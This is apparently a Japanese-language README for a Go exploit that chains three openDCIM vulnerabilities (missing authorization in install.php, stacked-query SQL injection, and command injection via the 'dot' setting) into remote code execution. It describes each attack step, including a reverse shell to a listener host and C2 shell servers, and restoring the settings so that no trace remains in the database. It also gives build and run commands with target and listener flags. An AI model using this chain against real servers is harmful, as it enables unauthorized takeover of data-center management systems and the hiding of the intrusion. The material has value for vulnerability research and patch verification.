
openDCIM install.php SQLi から RCE への連鎖 (CWE-862 + CWE-89 + CWE-78)
openDCIM の install.php LDAP 設定フォームを標的としたリモートコード実行チェーン。VulnCheck go-exploit フレームワーク上に構築。
| # | CVE | CWE | 説明 |
|---|---|---|---|
| 1 | CVE-2026-28515 | CWE-862 | install.php は LDAP 設定フォームの前にロールチェックを行わない - 任意のユーザーが到達可能 |
| 2 | CVE-2026-28516 | CWE-89 | Config::UpdateParameter() は文字列補間を使用し、PDO+MySQL によるスタッククエリが可能 |
| 3 | CVE-2026-28517 | CWE-78 | report_network_map.php は dot 設定値を直接 exec() に渡す |
影響を受けるバージョン: 全バージョン (最新コミット 4467e9c4 でテスト済み)
install.php に POST - LDAP フォーム経由の SQL インジェクションで設定をバックアップし、dot をコマンドペイロードで上書きreport_network_map.php を GET - exec() をトリガーし、id の出力で RCE を確認install.php に POST - dot をリバースシェルペイロードで上書きreport_network_map.php を GET - リバースシェルをトリガーinstall.php に POST - バックアップテーブルから元の設定値をすべて復元悪用後、データベースには痕跡が一切残りません。
go build -o opendcim-exploit .
# Scan only
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80
# Exploit with reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass
./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer
| フラグ | デフォルト | 説明 |
|---|
-rhost | ターゲットホスト | |
-rport | 80 | ターゲットポート |
-ssl | false | HTTPS を使用 |
-lhost | リスナーホスト (リバースシェル用) | |
-lport | リスナーポート (リバースシェル用) | |
-c2 | C2 タイプ: SimpleShellServer または SSLShellServer | |
-username | HTTP Basic 認証のユーザー名 (SetEnv デプロイ環境では省略) | |
-password | HTTP Basic 認証のパスワード (SetEnv デプロイ環境では省略) | |
-a | アセット検出 (ターゲットが悪用可能か確認) | |
-e | 悪用モード |